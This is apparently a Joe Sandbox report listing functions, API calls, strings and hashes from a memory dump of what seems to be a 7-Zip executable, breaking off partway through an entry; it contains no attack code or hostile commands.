API String ID: 2296236218-0
Opcode ID: 970d5cdc5d485172c45e5e67665dade64923c0f4ace1f899d0aee1bf120422e8
Instruction ID: ecf4c07c6bbd6ebac609d414104c06179308a34b5de4c3d369b0f04cbf4b9fd5
Opcode Fuzzy Hash: 970d5cdc5d485172c45e5e67665dade64923c0f4ace1f899d0aee1bf120422e8
Instruction Fuzzy Hash: 0921B4B2700B8886EB20DF16E85471DB7A1FB89F98F54C229DB4943724EF78C946C700

Function 00C4182C Relevance: 6.3, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C41868
free.MSVCRT ref: 00C41872
free.MSVCRT ref: 00C4187C
free.MSVCRT ref: 00C418A9
free.MSVCRT ref: 00C418B1

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: bfe4f0f55ee913568f211c4fbf308b9aee0fbd2fe155706c5642a99402e277d4
Instruction ID: f21aab1fa0d90f5902578b22c5791f2a0b94416b5ea9f34148e2cfc2162c36df
Opcode Fuzzy Hash: bfe4f0f55ee913568f211c4fbf308b9aee0fbd2fe155706c5642a99402e277d4
Instruction Fuzzy Hash: 31018C23702A9496DA24EF26D91166D2320FB86FB4B5D5321BFAD17BD4CF24D992C340

Function 00C87D84 Relevance: 6.3, APIs: 5, Instructions: 42COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C87DA9
free.MSVCRT ref: 00C87DB2
free.MSVCRT ref: 00C87DE5
free.MSVCRT ref: 00C87DF2
free.MSVCRT ref: 00C87DFB

Part of subcall function 00C694A8: free.MSVCRT ref: 00C694DB
Part of subcall function 00C694A8: free.MSVCRT ref: 00C694E3
Part of subcall function 00C694A8: free.MSVCRT ref: 00C694F0
Part of subcall function 00C694A8: free.MSVCRT ref: 00C6951C
Part of subcall function 00C694A8: free.MSVCRT ref: 00C69525
Part of subcall function 00C694A8: free.MSVCRT ref: 00C6952D
Part of subcall function 00C694A8: free.MSVCRT ref: 00C6953A

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 782f6fd7dc41bf8ca513220e7cc76460a379d2f1bbd67af93ff481f02cf2e1fb
Instruction ID: daa8476744ee33883945588b12a9c9b7b861c059f9bc4b5b5002463898cedc73
Opcode Fuzzy Hash: 782f6fd7dc41bf8ca513220e7cc76460a379d2f1bbd67af93ff481f02cf2e1fb
Instruction Fuzzy Hash: BE014F23712990C9DA15BF26DC5236C2364FF85FA8F690222AF1D4B365EE21CC82D384

Function 00C63864 Relevance: 6.3, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C63877

Part of subcall function 00C60BBC: free.MSVCRT(?,00000010,00000000,00000000,00C63885), ref: 00C60BCC
Part of subcall function 00C60BBC: free.MSVCRT(?,00000010,00000000,00000000,00C63885), ref: 00C60BD5
Part of subcall function 00C60BBC: free.MSVCRT(?,00000010,00000000,00000000,00C63885), ref: 00C60C00
Part of subcall function 00C60BBC: free.MSVCRT(?,00000010,00000000,00000000,00C63885), ref: 00C60C08

Part of subcall function 00C61474: free.MSVCRT(00000010,00000000,00000000,00000000,00C6388E), ref: 00C614A6
Part of subcall function 00C61474: free.MSVCRT(00000010,00000000,00000000,00000000,00C6388E), ref: 00C614AF
Part of subcall function 00C61474: free.MSVCRT(00000010,00000000,00000000,00000000,00C6388E), ref: 00C614B8
Part of subcall function 00C61474: free.MSVCRT(00000010,00000000,00000000,00000000,00C6388E), ref: 00C614C0

free.MSVCRT ref: 00C63892
free.MSVCRT ref: 00C6389B
free.MSVCRT ref: 00C638C6
free.MSVCRT ref: 00C638CE

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 18ccfc5564c15e61a23e9604fa5b251626cea37ac211422c809096770ce5a63d
Instruction ID: 8c8b2296758d9156f5365b560b4ba5d2b7c977380c109126c81b5c689954d796
Opcode Fuzzy Hash: 18ccfc5564c15e61a23e9604fa5b251626cea37ac211422c809096770ce5a63d
Instruction Fuzzy Hash: 64F08123B128D096CA25FE26DD921AC2360FF85FA074C5162BF2D4B791DF10CDA29340

Function 00C6C9CC Relevance: 6.3, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C6C9FE
free.MSVCRT ref: 00C6CA07
free.MSVCRT ref: 00C6CA10
free.MSVCRT ref: 00C6CA19
free.MSVCRT ref: 00C6CA21

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c213d67050506c93901002ddd1084c0dd65243c9eb9d617befeb87ee319482a8
Instruction ID: ff070c6923f12a32fc667b7a000b6b8bb78d0fbf689f504df4616a60909f9d06
Opcode Fuzzy Hash: c213d67050506c93901002ddd1084c0dd65243c9eb9d617befeb87ee319482a8
Instruction Fuzzy Hash: 31F067237019D489CA20EE6AECD216C2360AF96BB879C1171BF2E4B755EE20CC929300

Function 00C52A84 Relevance: 6.3, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C52A94
free.MSVCRT ref: 00C52A9D
free.MSVCRT ref: 00C52AC9
free.MSVCRT ref: 00C52AD1
free.MSVCRT ref: 00C52ADE

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 99aac3ebba39b973ad56ba9f7cc64fb651a8512a5e29eea15e4582f1b066fd79
Instruction ID: 2ef63b3d36f65d6ec7248cd1b11202e480a50736d6dda26a51279c570bcc80ce
Opcode Fuzzy Hash: 99aac3ebba39b973ad56ba9f7cc64fb651a8512a5e29eea15e4582f1b066fd79
Instruction Fuzzy Hash: 8AF0902371188489CB25AE36DC5212C2360FFD6FE57591161BF2D0B359DE20CCC2A340

Function 00C6CA3C Relevance: 6.3, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C6CA6E
free.MSVCRT ref: 00C6CA77
free.MSVCRT ref: 00C6CA80
free.MSVCRT ref: 00C6CA89
free.MSVCRT ref: 00C6CA91

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f7456f4712a6592163503973d257ef0995b2ed4d21bfa0f5baa221aafdf9fe8c
Instruction ID: ebfd407844be2a30fa23152a6403210dc1481867c28b65145c0e364b5034265d
Opcode Fuzzy Hash: f7456f4712a6592163503973d257ef0995b2ed4d21bfa0f5baa221aafdf9fe8c
Instruction Fuzzy Hash: 99F09053B119C48ECA20EE66DCC226C2360BF55BB9B9C5171BF2D07755DE20CCD29340

Function 00C87690 Relevance: 6.3, APIs: 5, Instructions: 22COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C876AF
free.MSVCRT ref: 00C876BB
free.MSVCRT ref: 00C876C7
free.MSVCRT ref: 00C876D3

Part of subcall function 00C8B310: free.MSVCRT ref: 00C8B335
Part of subcall function 00C8B310: free.MSVCRT ref: 00C8B342
Part of subcall function 00C8B310: free.MSVCRT ref: 00C8B34E
Part of subcall function 00C8B310: free.MSVCRT ref: 00C8B358
Part of subcall function 00C8B310: free.MSVCRT ref: 00C8B362
Part of subcall function 00C8B310: free.MSVCRT ref: 00C8B36C
Part of subcall function 00C8B310: free.MSVCRT ref: 00C8B376
Part of subcall function 00C8B310: free.MSVCRT ref: 00C8B380

free.MSVCRT ref: 00C876E4

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 80021553301d9a40d6bbe7854cc860826636cb7fafc5824219d75b22b7ddba10
Instruction ID: 9853c4247036a1bbaaef7577918b16da4a5f1121e6287396b2790c907def5ae2
Opcode Fuzzy Hash: 80021553301d9a40d6bbe7854cc860826636cb7fafc5824219d75b22b7ddba10
Instruction Fuzzy Hash: 9BE0C97221198081CA50FF35C8961EC23A0FB99B68F581271BA2E8E362DE10CD839354

Function 00C802F0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00C803A1
memmove.MSVCRT ref: 00C803F9
_CxxThrowException.MSVCRT ref: 00C80454

Strings

Internal collision in update action set, xrefs: 00C80383, 00C8043C

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrow$memmove
String ID: Internal collision in update action set
API String ID: 265668421-2378581463
Opcode ID: 2489d0cffbcfc2a2b50f9be8098032778b6c83d9b82680e9d68b7dd3d3502d6c
Instruction ID: 572e35cb64863f4719dbcec7f9fed604700ea28a3217788c76453e1229481f36
Opcode Fuzzy Hash: 2489d0cffbcfc2a2b50f9be8098032778b6c83d9b82680e9d68b7dd3d3502d6c
Instruction Fuzzy Hash: 15414932309684CADB74EB1AE444B1E7750F7C978CF244115EF8903B69DB78D649CB04

Function 00C84594 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C846C5
free.MSVCRT ref: 00C846DD
free.MSVCRT ref: 00C846E7

Part of subcall function 00C42C78: free.MSVCRT ref: 00C42CAE

Strings

= , xrefs: 00C8461C, 00C84634

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID: =
API String ID: 1294909896-2525689732
Opcode ID: 40c11fba967689670f12ed8931cb4eba44630f327dd0b6864abb2cd98b0bc6cc
Instruction ID: 963c1113fcfae1ae0b5289eb10b42ba28657ca7c011308bce11c0d5c36d44099
Opcode Fuzzy Hash: 40c11fba967689670f12ed8931cb4eba44630f327dd0b6864abb2cd98b0bc6cc
Instruction Fuzzy Hash: 8231F373319A8186CB14EF55E48166EB720F7D27A4F940222FB8E43A68EF78C945CB04

Function 00C76D5C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C76E91

Part of subcall function 00C43518: free.MSVCRT ref: 00C43551

Part of subcall function 00C43314: memmove.MSVCRT ref: 00C43339

free.MSVCRT ref: 00C76E83

Strings

exe, xrefs: 00C76DEE

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID: exe
API String ID: 1534225298-1801697008
Opcode ID: 76770eb1b0aff3fcbaddab3083a3c2637205f7744bad9aa1b7e03b28f3d0466f
Instruction ID: 1e9f90b0dbd03fb2154f2205db060dc9a62dc95f158516ec2a22777bff819fee
Opcode Fuzzy Hash: 76770eb1b0aff3fcbaddab3083a3c2637205f7744bad9aa1b7e03b28f3d0466f
Instruction Fuzzy Hash: 8531746330498196CE30EB25E44119EBB30F7D57D4F845212EBAE47669DF28C68ADB00

Function 00C69380 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C693B0
SysStringByteLen.OLEAUT32 ref: 00C69411
free.MSVCRT ref: 00C6942C
memmove.MSVCRT ref: 00C69462

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ByteStringmemmove
String ID:
API String ID: 400576877-0
Opcode ID: 627be9a5ab345c6a2ae9b3d4a8fa1f013a1db37638386f1ebadb93c6192a02ff
Instruction ID: e3570f739f6001042cfbaeee4e555367fc0a61f5d776202417e1f2d465850668
Opcode Fuzzy Hash: 627be9a5ab345c6a2ae9b3d4a8fa1f013a1db37638386f1ebadb93c6192a02ff
Instruction Fuzzy Hash: 77218163304B8092EB349F52E5907796268FB887A4F484225EFAA4B794DF78C966C704

Function 00C69644 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 00C696D5
free.MSVCRT ref: 00C696F1
free.MSVCRT ref: 00C69706

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$wcscmp
String ID:
API String ID: 4021281200-0
Opcode ID: 1721c6616b74a4c47d99cfe980b2e26b6a86647a23934d96b3aa9ed1d32fc9d1
Instruction ID: a62b95b74cd4ae54d93b229b0c0bdd12187410c55be318d55a27ce0334ba761c
Opcode Fuzzy Hash: 1721c6616b74a4c47d99cfe980b2e26b6a86647a23934d96b3aa9ed1d32fc9d1
Instruction Fuzzy Hash: 1521D07621474082DB30AF26E4812697364EBC5BE4F545321AE6A477A4EF38CA86DB00

Function 00C4FADC Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4FB44

Strings

Unsupported charset:, xrefs: 00C4FB91

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID: Unsupported charset:
API String ID: 1294909896-616772432
Opcode ID: 9e42c2d2b4e1f7d5b703db533c77dc73d7d9a80e6522a8e966b0da96d7856300
Instruction ID: f8c158bef5c7a3ce85cb7a4e1c5b15db074b83b94f53d31d4ffe8b44468867bd
Opcode Fuzzy Hash: 9e42c2d2b4e1f7d5b703db533c77dc73d7d9a80e6522a8e966b0da96d7856300
Instruction Fuzzy Hash: 64219062604A4492DA20AB18E89169D7721F7C57E8F941326FAAD077B5CF68CA86C740

Function 00C46D48 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C47D4C: GetFileAttributesW.KERNELBASE ref: 00C47D6E
Part of subcall function 00C47D4C: GetFileAttributesW.KERNEL32 ref: 00C47DA5
Part of subcall function 00C47D4C: free.MSVCRT ref: 00C47DB2

DeleteFileW.KERNEL32 ref: 00C46D90
DeleteFileW.KERNEL32 ref: 00C46DCA
free.MSVCRT ref: 00C46DDA
free.MSVCRT ref: 00C46DE8

Part of subcall function 00C468A0: SetFileAttributesW.KERNELBASE ref: 00C468C7

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: File$Attributesfree$Delete
String ID:
API String ID: 324319583-0
Opcode ID: 9ea681c350cecb0b42c71b1f35ea49690d0665b5843397cde649d2af5f6ea4c4
Instruction ID: beaf5a90e3bd0054522c7ddb345245e41238a1b7d5c8b1fed77e9ce05e92589c
Opcode Fuzzy Hash: 9ea681c350cecb0b42c71b1f35ea49690d0665b5843397cde649d2af5f6ea4c4
Instruction Fuzzy Hash: 60018422B44A0041CA30AF25EC5136D53207FC77B4F581321AD7A873E9DE28CA969702

Function 00C5211C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C52137
free.MSVCRT ref: 00C521BB

Part of subcall function 00C46618: FormatMessageW.KERNEL32 ref: 00C46676
Part of subcall function 00C46618: LocalFree.KERNEL32 ref: 00C46698

Part of subcall function 00C4362C: memmove.MSVCRT ref: 00C43659

free.MSVCRT ref: 00C52182

Strings

: , xrefs: 00C52151, 00C52187

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ErrorFormatFreeLastLocalMessagememmove
String ID: :
API String ID: 1743135865-3653984579
Opcode ID: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
Instruction ID: 1abab465b6fc9a4fc2f8e6afd880ccb2230117019982767fcad471ef59006e2c
Opcode Fuzzy Hash: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
Instruction Fuzzy Hash: EA01656730094191CA20EB25E8452DE6721FBC9BF4F955321BE5E477B9DE28CE86C740

Function 00C4C878 Relevance: 6.0, APIs: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00C4C898
ReadFile.KERNEL32 ref: 00C4C8B3
GetLastError.KERNEL32 ref: 00C4C8CD
GetLastError.KERNEL32 ref: 00C4C8DC

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: e021971f243c9fea39bb415f90c700eab78ade398cc3b993660b20944e3800b0
Instruction ID: 5ca0c78c12196ebdb20f2e187676f1a72d72a532dcf4dc53cc1207ccdc1b4024
Opcode Fuzzy Hash: e021971f243c9fea39bb415f90c700eab78ade398cc3b993660b20944e3800b0
Instruction Fuzzy Hash: 630126227210609BE7215F3E9C447696394B718FE1F908235FE4ACBBA0DF29CC828780

Function 00C8ACDC Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

Strings

ERROR: Can't allocate required memory!, xrefs: 00C8ACF6
System ERROR:, xrefs: 00C8AD34
Break signaled, xrefs: 00C8AD14

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs
String ID: Break signaled$ERROR: Can't allocate required memory!$System ERROR:
API String ID: 1795875747-932691680
Opcode ID: adcba0a3c55dea3e12b275e3b9947d53b3d55053ca3c8ce761ccfc27961a96f0
Instruction ID: 3eab74f76f356ac2d133cd483a99ec55be62c703d30ef7e5f0482afadfb482b8
Opcode Fuzzy Hash: adcba0a3c55dea3e12b275e3b9947d53b3d55053ca3c8ce761ccfc27961a96f0
Instruction Fuzzy Hash: B1015231242904DAFB08FF21E8857A82320E796759F805623E50D87674DF38C986D74A

Function 00C4695C Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNEL32 ref: 00C4697E
RemoveDirectoryW.KERNEL32 ref: 00C469B8
free.MSVCRT ref: 00C469C8
free.MSVCRT ref: 00C469D6

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: DirectoryRemovefree
String ID:
API String ID: 736856642-0
Opcode ID: efb7360f27999ac7bd03661593c0501c8d3dd599b59c9a8bab47d3410f2a5fdb
Instruction ID: 35f4de044b997e65393b15957ccdda33d26ff9858975a149134c29b486d55aae
Opcode Fuzzy Hash: efb7360f27999ac7bd03661593c0501c8d3dd599b59c9a8bab47d3410f2a5fdb
Instruction Fuzzy Hash: C6F0A42620864081D930AF21D99133D5364BBD77F5F484321AEB9877A9CF69CA8AD701

Function 00C42EF4 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00C42F5B

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

memmove.MSVCRT(?,Unsupported switch postfix -stm,00000000,00C4302B,?,?,?,?,00C43698), ref: 00C42F2C
free.MSVCRT(?,Unsupported switch postfix -stm,00000000,00C4302B,?,?,?,?,00C43698), ref: 00C42F34

Strings

Unsupported switch postfix -stm, xrefs: 00C42EF6

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
